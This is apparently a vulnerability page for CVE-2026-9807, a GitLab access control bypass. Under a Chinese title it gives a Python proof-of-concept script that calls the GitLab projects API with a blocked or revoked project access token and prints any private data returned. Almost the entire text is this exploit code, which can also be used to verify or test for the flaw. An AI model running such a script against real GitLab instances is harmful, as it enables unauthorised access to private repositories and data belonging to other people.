CVE-2026-9807 GitLab 访问控制绕过漏洞

import requests # Target GitLab instance URL # Replace with the actual target address target_url = "https://gitlab.example.com/api/v4/projects" # Project Access Token that has been marked as blocked/revoked # Due to CVE-2026-9807, this token may still be valid blocked_token = "glpat-xxxxxxxxxxxxxxxxxxxx" headers = { "PRIVATE-TOKEN": blocked_token } try: # Send request to access private resources print(f"[*] Attempting to access {target_url} with blocked token...") response = requests.get(target_url, headers=headers, timeout=10) # Check if the request was successful (200 OK) if response.status_code == 200: print("[+] Vulnerability confirmed! Access granted with blocked token.") print("[+] Leaked data (first 500 chars):") print(response.text[:500]) elif response.status_code == 401: print("[-] Access denied. The token is properly blocked.") else: print(f"[?] Unexpected status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error during request: {e}")